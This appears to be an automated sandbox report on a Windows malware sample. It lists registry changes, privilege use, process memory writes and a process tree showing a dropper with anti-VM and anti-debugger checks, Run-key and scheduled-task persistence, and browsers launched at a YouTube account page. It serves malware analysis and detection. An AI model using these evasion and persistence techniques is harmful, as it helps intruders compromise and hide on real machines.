Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 13 IoCs

description	ioc	Process
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\26\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	python_x86_Lib.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	python_x86_Lib.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT	ITSMService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	ITSMService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	python_x86_Lib.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	ITSMService.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	ITSMService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	python_x86_Lib.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	python_x86_Lib.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	ITSMService.exe

Modifies registry class 27 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\Version = "151109272"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\ProductIcon = "C:\\Windows\\Installer\\{373FFE70-5FF7-492D-A2F4-0C6A15D8D503}\\icon.ico"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\DD4D523EF099D7E42B1DBDFD40CF9061	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\07EFF3737FF5D2942A4FC0A6518D5D30\DefaultFeature	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\AdvertiseFlags = "388"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\PackageCode = "D7076E96D3235814DB26ACC95D2BAD84"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\Language = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CDM\proxy = "false"	ITSMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\07EFF3737FF5D2942A4FC0A6518D5D30	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\ProductName = "Endpoint Manager Communication Client"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\SourceList\PackageName = "em_TaWHWZA1_installer_Win7-Win11_x86_x64.msi.msi"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Roaming\\DirectX11\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CDM	ITSMService.exe
Key created	\REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000_Classes\Local Settings	dropperrr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\DD4D523EF099D7E42B1DBDFD40CF9061\07EFF3737FF5D2942A4FC0A6518D5D30	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\Clients = 3a0000000000	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Roaming\\DirectX11\\"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000_Classes\Local Settings	firefox.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\AuthorizedLUAApp = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\SourceList\Media\1 = ";"	msiexec.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
8628	schtasks.exe
6208	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 3 IoCs

pid	Process
7932	ITSMAgent.exe
7908	ITSMAgent.exe
7160	ITSMAgent.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1156	1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe
1156	1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe
1704	explorti.exe
1704	explorti.exe
1744	msedge.exe
1744	msedge.exe
2196	msedge.exe
2196	msedge.exe
4212	chrome.exe
4212	chrome.exe
6112	explorti.exe
6112	explorti.exe
628	c19124b829.exe
628	c19124b829.exe
6240	axplong.exe
6240	axplong.exe
6920	RegAsm.exe
6920	RegAsm.exe
6920	RegAsm.exe
7048	pureee.exe
7048	pureee.exe
7048	pureee.exe
7048	pureee.exe
7048	pureee.exe
7048	pureee.exe
7048	pureee.exe
7048	pureee.exe
8348	axplong.exe
8348	axplong.exe
8328	explorti.exe
8328	explorti.exe
7048	pureee.exe
7048	pureee.exe
7048	pureee.exe
7048	pureee.exe
7048	pureee.exe
7048	pureee.exe
7048	pureee.exe
7048	pureee.exe
7048	pureee.exe
7048	pureee.exe
7048	pureee.exe
7048	pureee.exe
7048	pureee.exe
7048	pureee.exe
7048	pureee.exe
7048	pureee.exe
7048	pureee.exe
7048	pureee.exe
7048	pureee.exe
7048	pureee.exe
7048	pureee.exe
7048	pureee.exe
7048	pureee.exe
7048	pureee.exe
7048	pureee.exe
7048	pureee.exe
316	msiexec.exe
316	msiexec.exe
7048	pureee.exe
7048	pureee.exe
7048	pureee.exe
7048	pureee.exe
7048	pureee.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
4212	chrome.exe
4212	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4212	chrome.exe
Token: SeCreatePagefilePrivilege	4212	chrome.exe
Token: SeDebugPrivilege	3276	firefox.exe
Token: SeDebugPrivilege	3276	firefox.exe
Token: SeShutdownPrivilege	4212	chrome.exe
Token: SeCreatePagefilePrivilege	4212	chrome.exe
Token: SeShutdownPrivilege	4212	chrome.exe
Token: SeCreatePagefilePrivilege	4212	chrome.exe
Token: SeShutdownPrivilege	4212	chrome.exe
Token: SeCreatePagefilePrivilege	4212	chrome.exe
Token: SeShutdownPrivilege	4212	chrome.exe
Token: SeCreatePagefilePrivilege	4212	chrome.exe
Token: SeShutdownPrivilege	4212	chrome.exe
Token: SeCreatePagefilePrivilege	4212	chrome.exe
Token: SeShutdownPrivilege	4212	chrome.exe
Token: SeCreatePagefilePrivilege	4212	chrome.exe
Token: SeShutdownPrivilege	4212	chrome.exe
Token: SeCreatePagefilePrivilege	4212	chrome.exe
Token: SeShutdownPrivilege	4212	chrome.exe
Token: SeCreatePagefilePrivilege	4212	chrome.exe
Token: SeShutdownPrivilege	4212	chrome.exe
Token: SeCreatePagefilePrivilege	4212	chrome.exe
Token: SeShutdownPrivilege	4212	chrome.exe
Token: SeCreatePagefilePrivilege	4212	chrome.exe
Token: SeShutdownPrivilege	4212	chrome.exe
Token: SeCreatePagefilePrivilege	4212	chrome.exe
Token: SeShutdownPrivilege	4212	chrome.exe
Token: SeCreatePagefilePrivilege	4212	chrome.exe
Token: SeShutdownPrivilege	4212	chrome.exe
Token: SeCreatePagefilePrivilege	4212	chrome.exe
Token: SeShutdownPrivilege	4212	chrome.exe
Token: SeCreatePagefilePrivilege	4212	chrome.exe
Token: SeShutdownPrivilege	4212	chrome.exe
Token: SeCreatePagefilePrivilege	4212	chrome.exe
Token: SeDebugPrivilege	6920	RegAsm.exe
Token: SeShutdownPrivilege	4212	chrome.exe
Token: SeCreatePagefilePrivilege	4212	chrome.exe
Token: SeShutdownPrivilege	4212	chrome.exe
Token: SeCreatePagefilePrivilege	4212	chrome.exe
Token: SeShutdownPrivilege	4212	chrome.exe
Token: SeCreatePagefilePrivilege	4212	chrome.exe
Token: SeShutdownPrivilege	4212	chrome.exe
Token: SeCreatePagefilePrivilege	4212	chrome.exe
Token: SeShutdownPrivilege	4212	chrome.exe
Token: SeCreatePagefilePrivilege	4212	chrome.exe
Token: SeShutdownPrivilege	4212	chrome.exe
Token: SeCreatePagefilePrivilege	4212	chrome.exe
Token: SeShutdownPrivilege	4212	chrome.exe
Token: SeCreatePagefilePrivilege	4212	chrome.exe
Token: SeShutdownPrivilege	4212	chrome.exe
Token: SeCreatePagefilePrivilege	4212	chrome.exe
Token: SeShutdownPrivilege	4212	chrome.exe
Token: SeCreatePagefilePrivilege	4212	chrome.exe
Token: SeShutdownPrivilege	4212	chrome.exe
Token: SeCreatePagefilePrivilege	4212	chrome.exe
Token: SeShutdownPrivilege	4212	chrome.exe
Token: SeCreatePagefilePrivilege	4212	chrome.exe
Token: SeShutdownPrivilege	4212	chrome.exe
Token: SeCreatePagefilePrivilege	4212	chrome.exe
Token: SeShutdownPrivilege	4212	chrome.exe
Token: SeCreatePagefilePrivilege	4212	chrome.exe
Token: SeShutdownPrivilege	4212	chrome.exe
Token: SeCreatePagefilePrivilege	4212	chrome.exe
Token: SeShutdownPrivilege	4212	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
1156	1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
3276	firefox.exe
3276	firefox.exe
3276	firefox.exe
3276	firefox.exe
3276	firefox.exe
3276	firefox.exe
3276	firefox.exe
3276	firefox.exe
3276	firefox.exe
3276	firefox.exe
3276	firefox.exe
3276	firefox.exe
3276	firefox.exe
3276	firefox.exe
3276	firefox.exe
3276	firefox.exe
3276	firefox.exe
3276	firefox.exe
3276	firefox.exe
3276	firefox.exe
3276	firefox.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
3276	firefox.exe
3276	firefox.exe
3276	firefox.exe
3276	firefox.exe
3276	firefox.exe
3276	firefox.exe
3276	firefox.exe
3276	firefox.exe
3276	firefox.exe
3276	firefox.exe
3276	firefox.exe
3276	firefox.exe
3276	firefox.exe
3276	firefox.exe
3276	firefox.exe
3276	firefox.exe
3276	firefox.exe
3276	firefox.exe
3276	firefox.exe
3276	firefox.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe

Suspicious use of SetWindowsHookEx 17 IoCs

pid	Process
3276	firefox.exe
5904	83eb245d83.exe
8288	ITSMService.exe
8288	ITSMService.exe
8288	ITSMService.exe
8288	ITSMService.exe
8288	ITSMService.exe
8288	ITSMService.exe
8288	ITSMService.exe
8288	ITSMService.exe
8288	ITSMService.exe
8288	ITSMService.exe
7932	ITSMAgent.exe
7908	ITSMAgent.exe
7160	ITSMAgent.exe
8288	ITSMService.exe
8288	ITSMService.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1156 wrote to memory of 1704	1156	1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe	85
PID 1156 wrote to memory of 1704	1156	1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe	85
PID 1156 wrote to memory of 1704	1156	1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe	85
PID 1704 wrote to memory of 3016	1704	explorti.exe	86
PID 1704 wrote to memory of 3016	1704	explorti.exe	86
PID 1704 wrote to memory of 3016	1704	explorti.exe	86
PID 3016 wrote to memory of 2644	3016	d0c9ab23e4.exe	87
PID 3016 wrote to memory of 2644	3016	d0c9ab23e4.exe	87
PID 2644 wrote to memory of 4212	2644	cmd.exe	90
PID 2644 wrote to memory of 4212	2644	cmd.exe	90
PID 2644 wrote to memory of 2196	2644	cmd.exe	91
PID 2644 wrote to memory of 2196	2644	cmd.exe	91
PID 2644 wrote to memory of 3384	2644	cmd.exe	92
PID 2644 wrote to memory of 3384	2644	cmd.exe	92
PID 4212 wrote to memory of 3332	4212	chrome.exe	93
PID 4212 wrote to memory of 3332	4212	chrome.exe	93
PID 2196 wrote to memory of 4940	2196	msedge.exe	94
PID 2196 wrote to memory of 4940	2196	msedge.exe	94
PID 3384 wrote to memory of 3276	3384	firefox.exe	95
PID 3384 wrote to memory of 3276	3384	firefox.exe	95
PID 3384 wrote to memory of 3276	3384	firefox.exe	95
PID 3384 wrote to memory of 3276	3384	firefox.exe	95
PID 3384 wrote to memory of 3276	3384	firefox.exe	95
PID 3384 wrote to memory of 3276	3384	firefox.exe	95
PID 3384 wrote to memory of 3276	3384	firefox.exe	95
PID 3384 wrote to memory of 3276	3384	firefox.exe	95
PID 3384 wrote to memory of 3276	3384	firefox.exe	95
PID 3384 wrote to memory of 3276	3384	firefox.exe	95
PID 3384 wrote to memory of 3276	3384	firefox.exe	95
PID 3276 wrote to memory of 3032	3276	firefox.exe	96
PID 3276 wrote to memory of 3032	3276	firefox.exe	96
PID 3276 wrote to memory of 3032	3276	firefox.exe	96
PID 3276 wrote to memory of 3032	3276	firefox.exe	96
PID 3276 wrote to memory of 3032	3276	firefox.exe	96
PID 3276 wrote to memory of 3032	3276	firefox.exe	96
PID 3276 wrote to memory of 3032	3276	firefox.exe	96
PID 3276 wrote to memory of 3032	3276	firefox.exe	96
PID 3276 wrote to memory of 3032	3276	firefox.exe	96
PID 3276 wrote to memory of 3032	3276	firefox.exe	96
PID 3276 wrote to memory of 3032	3276	firefox.exe	96
PID 3276 wrote to memory of 3032	3276	firefox.exe	96
PID 3276 wrote to memory of 3032	3276	firefox.exe	96
PID 3276 wrote to memory of 3032	3276	firefox.exe	96
PID 3276 wrote to memory of 3032	3276	firefox.exe	96
PID 3276 wrote to memory of 3032	3276	firefox.exe	96
PID 3276 wrote to memory of 3032	3276	firefox.exe	96
PID 3276 wrote to memory of 3032	3276	firefox.exe	96
PID 3276 wrote to memory of 3032	3276	firefox.exe	96
PID 3276 wrote to memory of 3032	3276	firefox.exe	96
PID 3276 wrote to memory of 3032	3276	firefox.exe	96
PID 3276 wrote to memory of 3032	3276	firefox.exe	96
PID 3276 wrote to memory of 3032	3276	firefox.exe	96
PID 3276 wrote to memory of 3032	3276	firefox.exe	96
PID 3276 wrote to memory of 3032	3276	firefox.exe	96
PID 3276 wrote to memory of 3032	3276	firefox.exe	96
PID 3276 wrote to memory of 3032	3276	firefox.exe	96
PID 3276 wrote to memory of 3032	3276	firefox.exe	96
PID 3276 wrote to memory of 3032	3276	firefox.exe	96
PID 3276 wrote to memory of 3032	3276	firefox.exe	96
PID 3276 wrote to memory of 3032	3276	firefox.exe	96
PID 3276 wrote to memory of 3032	3276	firefox.exe	96
PID 3276 wrote to memory of 3032	3276	firefox.exe	96
PID 3276 wrote to memory of 3032	3276	firefox.exe	96
PID 3276 wrote to memory of 3032	3276	firefox.exe	96

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe
"C:\Users\Admin\AppData\Local\Temp\1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:1156
- C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
  "C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Checks computer location settings
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Adds Run key to start application
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1704
- - C:\Users\Admin\AppData\Local\Temp\1000020001\d0c9ab23e4.exe
    "C:\Users\Admin\AppData\Local\Temp\1000020001\d0c9ab23e4.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3016
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\DC37.tmp\DC38.tmp\DC48.bat C:\Users\Admin\AppData\Local\Temp\1000020001\d0c9ab23e4.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2644
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.youtube.com/account"
        5⤵
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of WriteProcessMemory
        
        PID:4212
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.106 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7fffbd03cc40,0x7fffbd03cc4c,0x7fffbd03cc58
        6⤵
        
        PID:3332
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1920,i,7829462443394776669,9604244899411805927,262144 --variations-seed-version=20240729-180130.470000 --mojo-platform-channel-handle=1916 /prefetch:2
        6⤵
        
        PID:4520
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2164,i,7829462443394776669,9604244899411805927,262144 --variations-seed-version=20240729-180130.470000 --mojo-platform-channel-handle=2172 /prefetch:3
        6⤵
        
        PID:1448
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2244,i,7829462443394776669,9604244899411805927,262144 --variations-seed-version=20240729-180130.470000 --mojo-platform-channel-handle=2256 /prefetch:8
        6⤵
        
        PID:2256
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3092,i,7829462443394776669,9604244899411805927,262144 --variations-seed-version=20240729-180130.470000 --mojo-platform-channel-handle=3120 /prefetch:1
        6⤵
        
        PID:6032
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3100,i,7829462443394776669,9604244899411805927,262144 --variations-seed-version=20240729-180130.470000 --mojo-platform-channel-handle=3156 /prefetch:1
        6⤵
        
        PID:6044
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=4644,i,7829462443394776669,9604244899411805927,262144 --variations-seed-version=20240729-180130.470000 --mojo-platform-channel-handle=4344 /prefetch:8
        6⤵
        Drops file in System32 directory
        
        PID:7308
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.youtube.com/account"
        5⤵
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of WriteProcessMemory
        
        PID:2196
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x110,0x114,0x118,0xec,0x11c,0x7fffbcc246f8,0x7fffbcc24708,0x7fffbcc24718
        6⤵
        
        PID:4940
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2112,8896521124935098791,13821560327188226596,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2288 /prefetch:2
        6⤵
        
        PID:400
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2112,8896521124935098791,13821560327188226596,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2340 /prefetch:3
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1744
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2112,8896521124935098791,13821560327188226596,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2164 /prefetch:8
        6⤵
        
        PID:3252
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2112,8896521124935098791,13821560327188226596,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3364 /prefetch:1
        6⤵
        
        PID:3096
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2112,8896521124935098791,13821560327188226596,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3372 /prefetch:1
        6⤵
        
        PID:4380
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
